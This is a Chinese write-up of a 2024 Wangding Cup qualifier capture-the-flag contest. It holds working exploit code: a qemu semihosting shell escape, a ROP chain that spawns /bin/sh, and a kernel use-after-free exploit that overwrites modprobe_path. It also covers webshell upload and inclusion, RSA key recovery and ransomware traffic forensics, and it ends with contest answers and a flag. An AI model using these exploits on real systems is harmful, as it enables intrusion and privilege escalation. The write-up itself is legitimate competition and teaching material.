战队:W4ntY0u
排名:4
战队招新简历投递:blcx@t00ls.net
获取题目下载链接请后台回复:wdbxw2024
PWN
pwn01
题目附件只有qemu-aarch64和ld.so,看起来是qemu逃逸类型的题。
题目没有提供.patch文件,说明有可能没有对qemu源码进行修改,那么可能就得通过qemu自带的功能去利用。
通过搜索了解到qemu-aarch64存在一种叫半主机模式的功能,允许程序与主机系统进行交互。
https://www.qemu.org/docs/master/about/emulation.html
题目附件没有去除符号,用ida打开qemu-aarch64分析,搜索semihost。
从搜索结果上来看semihost似乎是启用了的。
查询arm官方文档了解semihosting接口的调用方式。
https://github.com/ARM-software/abi-aa/blob/main/semihosting/semihosting.rst#the-semihosting-interface
这里可以看到传递SYS_SYSTEM(0x12)给semihosting接口可以调用主机命令。
https://github.com/ARM-software/abi-aa/blob/main/semihosting/semihosting.rst#sys-system-0x12
根据文档编写出exp
int main()
{
asm volatile(
"adr x0, cmdn"
"str x0, [sp]n"
"mov x0, #2n"
"str x0, [sp, #8]n"
"mov x0, #0x12n"
"mov x1, spn"
"hlt #0xf000n"
"cmd: .ascii "sh""
::: "memory"
);
return 0;
}
aarch64交叉编译,提取字节码。
aarch64-linux-gnu-gcc main.c -o main_exp
E0000010E00300F9400080D2E00700F9400280D2E103009100005ED47368000000008052C0035FD6
ida打开ld-linux-aarch64.so.1。把提取到的字节码修补到到so文件入口(0x1100),应用保存为exp。
不直接-static编译并上传的原因是运行会提示Bad system call,而且文件也偏大,刚好题目附件提供了ld.so直接拿来用就是了。
上传exp,交互拿到shell。
from pwn import *
p = remote("ip", port)
a = b64e(open('./exp', 'rb').read()).encode()
p.sendlineafter(b'file: ', a)
p.interactive()
pwn02
题目去除符号表,但可以通过调试观察syscall参数,猜出各个函数大概功能。
主函数中首先fork进程。
子进程绕过if判断进入下一个函数
可以打印出canary并且有0x40读入。(没有溢出)
但观察汇编可以发现
在0x4019b0处有一个cmp,这里rbp-0x28的地方是可控的,所以这里填入1,即可绕过后边的exit而进入函数下方0x40186b
这里观察汇编发现
这里有一个cmp [rbp+var_11C], 11111111h
判断成功即可跳出while循环返回,同时经过测试,这里输入0x200个字节可以造成溢出。最后在程序里搜索gadget执行execve即可。
from pwn import *
r=remote('0192f5595a447f1a8f422e5e796013f2.ey5v.dg03.ciihw.cn',44845)
# r=process('./pwn')
elf=ELF('./pwn')
libc = elf.libc
pop_rdi = 0x000000000040213f#: pop rdi; ret;
pop_rsi = 0x000000000040a1ae#: pop rsi; ret;
pop_rdx_rbx = 0x0000000000485feb#: pop rdx; pop rbx; ret;
pop_rax = 0x0000000000450277#: pop rax; ret;
syscall = 0x000000000041ac26#: syscall; ret;
r.recvuntil('gift: ')
canary = int(r.recv(18),16)
print("canary----------------->",hex(canary))
r.recvuntil('leave your name')
payload = p64(0xffffffffffffffff)*5+p64(0x100000000001)+p64(0xaaaaaaaaaaaaaaaa)*2
r.send(payload)
r.recvuntil('Wanna return?')
r.send('a')
r.recvuntil('once again?')
payload = 'a'*0x100
r.send(payload)
r.recvuntil('once again?')
payload = p64(0x1111111111111111)*0x21 + p64(canary)*2
payload += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x4C7F00) + p64(pop_rdx_rbx) + p64(0x400)*2 + p64(syscall)
payload += p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(0x4c7f00) + p64(pop_rsi) + p64(0) + p64(pop_rdx_rbx) + p64(0)*2 + p64(syscall)
# gdb.attach(r)
r.send(payload)
pause()
payload = '/bin/shx00'
r.sendline(payload)
# gdb.attach(r)
r.interactive()
pwn03
给了很多操作函数,包括读写
ioctl能申请任意大小堆,可以造成UAF,double free
slab中不存在隔离机制,能使用的结构体很多
先free一次,利用UAF分配pipe_buffer结构体,调用read函数,拿到pipe_buffer 中pipe_buf_operations 的地址泄露内核地址,再free一次分配pg_vec数组,调用write函数利用USMA去覆盖modprobe_path
#define _GNU_SOURCE
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <linux/sched.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/socket.h>
#define COLOR_GREEN " 33[32m"
#define COLOR_RED " 33[31m"
#define COLOR_YELLOW " 33[33m"
#define COLOR_DEFAULT " 33[0m"
#define logd(fmt, ...) dprintf(2, "[*] %s:%d " fmt "n", __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)
do {
loge(fmt, ##__VA_ARGS__);
loge("Exit at line %d", __LINE__);
exit(1);
} while (0)
#define PIPE_SPRAY_NUM 1
int fd;
int orig_pid = -1, victim_pid = -1;
int pipe_fd[PIPE_SPRAY_NUM][2];
size_t kernel_base=0;
void unshare_setup()
{
int temp_fd;
uid_t uid = getuid();
gid_t gid = getgid();
char buffer[0x100];
if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET))
{
perror("unshare(CLONE_NEWUSER | CLONE_NEWNS)");
exit(1);
}
temp_fd = open("/proc/self/setgroups", O_WRONLY);
write(temp_fd, "deny", strlen("deny"));
close(temp_fd);
temp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
write(temp_fd, buffer, strlen(buffer));
close(temp_fd);
temp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
write(temp_fd, buffer, strlen(buffer));
close(temp_fd);
return;
}
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{
struct tpacket_req req;
int socket_fd, version;
int ret;
socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
if (socket_fd < 0)
{
die("failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)n");
ret = socket_fd;
goto err_out;
}
version = TPACKET_V1;
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
if (ret < 0)
{
die("failed at setsockopt(PACKET_VERSION)n");
goto err_setsockopt;
}
memset(&req, 0, sizeof(req));
req.tp_block_size = size;
req.tp_block_nr = nr;
req.tp_frame_size = 0x1000;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
if (ret < 0)
{
die("failed at setsockopt(PACKET_TX_RING)n");
goto err_setsockopt;
}
return socket_fd;
err_setsockopt:
close(socket_fd);
err_out:
return ret;
}
int packet_socket_setup(uint32_t block_size, uint32_t frame_size,
uint32_t block_nr, uint32_t sizeof_priv, int timeout)
{
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0)
{
perror("[-] socket (AF_PACKET)");
exit(1);
}
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0)
{
perror("[-] setsockopt (PACKET_VERSION)");
exit(1);
}
struct tpacket_req3 req3;
memset(&req3, 0, sizeof(req3));
req3.tp_sizeof_priv = sizeof_priv;
req3.tp_block_nr = block_nr;
req3.tp_block_size = block_size;
req3.tp_frame_size = frame_size;
req3.tp_frame_nr = (block_size * block_nr) / frame_size;
req3.tp_retire_blk_tov = timeout;
req3.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req3, sizeof(req3));
if (rv < 0)
{
perror("[-] setsockopt (PACKET_RX_RING)");
exit(1);
}
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_halen = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0)
{
perror("[-] bind (AF_PACKET)");
exit(1);
}
return s;
}
void main(){
unshare_setup();
char* buf[0x1000];
fd=open("/dev/easy",O_RDWR);
if (fd<0)
{
die("/dev/easy");
}
ioctl(fd,0,0x400);
ioctl(fd,1,0x400);
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if (pipe(pipe_fd[i]) < 0)
{
die("failed to alloc %d pipe!", i);
}
}
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
{
write(pipe_fd[i][1], "a", 8);
}
read(fd,buf,0x40);
kernel_base=*(size_t *)(buf+2)-0xa33200;
logi("kernel_base :%llx",kernel_base);
ioctl(fd,1,0x400);
int block_nr = 0x400 / 0x8;
int packet_fds = packet_socket_setup(0x1000, 0x800, block_nr, 0, 1000);
*(size_t *)buf=kernel_base+0xe58000;
write(fd,buf,0x8);
char *page = mmap(NULL, 0x1000 * block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds, 0);
if(page < 0){
die("page");
}
memcpy(page + 0xb80, "/tmp/modprobe", 14);
system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy");
system("echo '#!/bin/shnchmod 777 /flag' > /tmp/modprobe");
system("chmod +x /tmp/modprobe");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
}
WEB
web01
信息搜集发现.4版本一个未修复的RCE:
可知后台登陆点在/login.php:
由于有验证码,先手动尝试弱口令admin admin成功进入了后台
去接口配置页面进行文件上传
二维码处上传图片:
上传一个执行ls的图片马
去模板管理界面进行文件包含:
编辑/template/pc/index.htm,包含上传的图片,并提交:
回到主页查看源码,发现执行成功,存在flag.txt:
那么接下来就同理,再次上传读取flag:
再次进行包含,访问主页即可查看flag:
web03
打开⽹页显⽰ NGINX
尝试访问 robots.txt
发现有个⽂件以及⽤户名和密码,尝试下载这个⽂件
wbStego4⼯具去隐写
密码为空
得到⼀份像是base64编码的内容,着重看 AAAA开头的内容,与
ssh/known_hosts 的⾏开头很相似
我的系统内的⽂件:
猜测其可能是 ssh 公钥,于是尝试转换+解析
"""
$> ssh-keygen -f base64.pub.key -e -m PKCS8 >
public.key.pem
255
"""
from Crypto.PublicKey import RSA
path = 'public.key.pem'
with open(path, 'r') as f:
key = RSA.import_key(f.read())
e = key.e
n = key.n
print(f'e: {e} ')
print(f'n: {n} ')
"""
e: 65537
n:
1547313234205595455878074350337711262879930458419864589526 7270016124133490922098456166112042641326832865833651985277 5304576780744439804331085798302989621339474335277128655905 8543156663298343084350194669565588737238347971603891731726 9141215074859439934216381040714018271595168426357226026198 7651766180210810224152212373370447759543939164971068994075 8920045395592384906328852640372553178169995925146775639702 5462984686365248488495366710314704482655593149707807258497 4776522254450699943765269853108248047391942598122243597928 1657356279778452594305430394526113108749923548260319150429 2886444952159639040155783760580411749
"""
# 尝试yafu分解 很快就能分出 p,q
p =
1243910460686618494793680484423682645286881370618598894207
4813508953071153198287909922836557945350791497180864509870
7899792342947071605270753221189146520461936329644320307671
2562824769761068926696219367656575138383210413738940481382
5007635409302321353504203883456061847769245032705614570206
8970492978556584563
q =
1243910460686618494793680484423682645286881370618598894207
4813508953071153198287909922836557945350791497180864509870
7899792342947071605270753221189146520461936329644320307671
2562824769761068926696219367656575138383210413738940481382
5007635409302321353504203883456061847769245032705614570206
8970492978556583623
N = p * q # key.n factorize
e = 65537 # key.e
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
很轻易的分解n后⽤p,q,构造d,借助 Crypto.PublicKey 构造⼀份私钥⽂件,最后链接即可
REVERSE
reverse02
下载下来是一个 jar 包。本来想用正常用 jadx 打开分析一波,看到这题很快被解了。联想到前几天群友说的其他组有 re 非预期。怀疑一模一样,改后缀为zip 解压。
得到这些文件
用 findstr /s /n "wdflag" *.* 命令可以搜
根据目录打开文件
搜索wdflag
MISC
misc01
(1/10) 攻击者拿到了其被感染应用的管理员账户 你能知道其管理员账户的信息是什么吗? 格式:用户名:密码 示例:aaaa:bbbb
分析流量只看到tomcat,应该感染的应用就是tomcat,直接去附件给的Challenge目录里看有没有tomcat-user.xml
请输入你的答案 > admin:admin 正确✅!
(2/10) 攻击者利用什么文件来成功感染应用 请提供其的完整路径 格式:C:/xxxss/ssssa/xxxx/cccs/ssss.xxxx 示例:C:/users/Appdat/123/xx.txt
分析流量找到webshell
但是并没有从流量中发现这玩意咋来的
于是去Challenge目录找
上级目录看到host.war
那应该就是通过这个war包得到的,搜一下谁引用了这个war包
server.xml
请输入你的答案 > C:/Users/Wang/Downloads/apache-tomcat-10.1.25-windows-x64/apache-tomcat-10.1.25/conf/server.xml 正确✅!
(3/10) 攻击者所使用webshell中的加密算法是什么? 用_分割即可 有两个 请注意编码不属于加密 格式:加密算法1_加密算法2 示例:DES_RSA
分析jsp,一样的在目录里有
可以看到是AES和XOR
请输入你的答案 > XOR_AES 正确✅!
(4/10) 从上一问所提及的两种算法其秘钥分别是多少? 用_分割即可 格式:KEY1_KEY2 示例:aaaaa_bbbbbb
同上
请输入你的答案 > 121b8df8c86ca5b4_2ed2bf6465e2ddc4 正确✅!
(5/10) 攻击者使用webshell删除了什么文件 示例:MD5(C:/users/Appdata/123/xx.txt) 以cyberchef结果为准
分析流量,根据给出的xorkey与aeskey编写解密脚本
import base64
from Crypto.Cipher import AES
import zlib
def decrypt(encrypted_data):
# Step 1: Base64 decoding
try:
data = base64.b64decode(encrypted_data)
except Exception as e:
raise ValueError("Base64 decoding failed") from e
# # Debug: Print Base64 decoded length
# print(f"Decoded Base64 length: {len(data)}")
# Step 2: XOR operation
xor_key = "121b8df8c86ca5b4"
xor_key_bytes = xor_key.encode('utf-8')
data = bytearray(data)
for i in range(len(data)):
data[i] ^= xor_key_bytes[(i + 1) & 15]
# # Debug: Print XOR processed length
# print(f"XOR processed length: {len(data)}")
# Ensure the data is a multiple of 16 in length
if len(data) % 16 != 0:
padding_length = 16 - (len(data) % 16)
data.extend(b' ' * padding_length) # Pad with null bytes
# Step 3: AES decryption
raw_key = "2ed2bf6465e2ddc4".encode('utf-8')
cipher = AES.new(raw_key, AES.MODE_ECB)
decrypted = cipher.decrypt(bytes(data))
# # Debug: Print decrypted length and first few bytes
# print(f"Decrypted length: {len(decrypted)}")
# print(f"Decrypted data (first 64 bytes): {decrypted[:64]}")
# Step 4: Attempt decompression using zlib
try:
decompressed = zlib.decompress(decrypted)
return decompressed
except zlib.error as e:
# print("Decompression failed, returning raw decrypted data")
return decrypted
if __name__ == "__main__":
# 读取文件内容
with open('encrypted_data.txt', 'r') as file:
encrypted_data = file.read().strip() # 去掉任何可能的空白字符
try:
decrypted_data = decrypt(encrypted_data)
print(decrypted_data.decode('utf-8', errors='ignore')) # Ignore errors for debugging
except Exception as e:
print(f"An error occurred: {e}")
解密webshell数据,直到No.4061
解密发现
md5加密
请输入你的答案 > 233f926656cb3c3c81a2db426514c0f2 正确✅!
(6/10) 攻击者通过webshell上传了什么文件 你能知道其文件名吗? 示例:xxxx.txt
分析发现No.4333
解密后得到
这应该是查看当前目录的信息,对应的webshell的数据开头为8BG
而下一个类似数据在No.5212
解密得到
多了一个ZG93bmxvYWRDYWNoZQ==
请输入你的答案 > downloadCache 正确✅!
(7/10) 攻击者在文件上传后执行了什么命令 你可以给出完整的命令行吗? 示例:MD5(cmd.exe /c echo xxxx) 以cyberchef结果为准
在No.5259
发现执行了certutil
解密对应的请求体数据
cd /d "C:UsersWangDocuments"&certutil.exe -decode .downloadCache .ht-view.exe
md5加密certutil.exe -decode .downloadCache .ht-view.exe提交即可
请输入你的答案 > 516990ac9782dfac0168d453dd056779 正确✅!
(8/10) 攻击者所上传的文件其会加密什么后缀的文件 用_分割 后缀名都带.,若有多种后缀则按照字母序排列 示例:.exe_.dll
那么要提取出downloadCache了
在流量中可以看到
从No.4899开始的这个9个http流就是上传downloadCache的webshell数据
但解密拼接解base64之后发现不对
根据exe的特征找到头数据发现No.5045的请求体数据解密后得到头部
那么顺序应该被打乱了,为了方便这里以响应数据的流量序号来排序
将这9段数据全部解码后发现
No.5138(对应No.5045的响应数据)
No.5146
No.5144
No.5141
No.5148
No.5135
No.5131
No.5125
No.5129
看起来像顺序,于是响应数据的顺序为5138、5146、5144、5141、5148、5135、5131、5125、5129,按照顺序拼接解密数据后base64解码得到ht-view.exe
ht-view.exe是个C#程序,用dnSpy打开。
该函数能看到带什么后缀的文件会被加密。
请输入你的答案 >
.txt.doc.docx.xls.xlsx.ppt.pptx.odt.jpg.png.csv.sql.mdb.sln.php.asp.aspx.html.xml.psd 正确✅!
(9/10) 攻击者所上传的文件有无外联行为 如果有他请求的URL是什么? 示例:http://baidu.com 注意:以流量信息为准
ht-view.exe中可以找到
在No.5239中
请输入你的答案 > http://172.25.136.161:8100/?info=UbuntuWIN-E2J7QKKEBJ6-Wang%206k?TKl/Mu9?uFyia12c 正确✅!
(10/10) 机密文件被加密了 你可以拿到其解密内容吗 示例:MD5(flag{test}) 以cyberchef结果为准
password是长度15的随机字符串。
后续走http发送设备信息和密码。
在流量中查看到password是"6k?TKl/Mu9?uFyi"
先是计算了password的sha256哈希值,传给AES_Encrypt,加密完后添加后缀名.locked。
AES_Encrypt然后将哈希值传给Rfc2898DeriveBytes派生aes的key和iv,之后直接对文件进行AES加密。
在Challenge目录中找到/Users/Wang/Documents/secret.txt.locked
按照刚刚了解到的key、iv派生方式去解密。
MD5加密
请输入你的答案 > 2db6b20f6b16c2563d037f3f98e0f1ab 正确✅! 恭喜你完成了所有题目,这是你的flag �� --> FLAG=wdflag{p0cgssxmyhuut8qnvb1mpmmssyv619dp}
原文始发于微信公众号(山海之关):2024 网鼎杯玄武组资格赛writeup by W4ntY0u
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论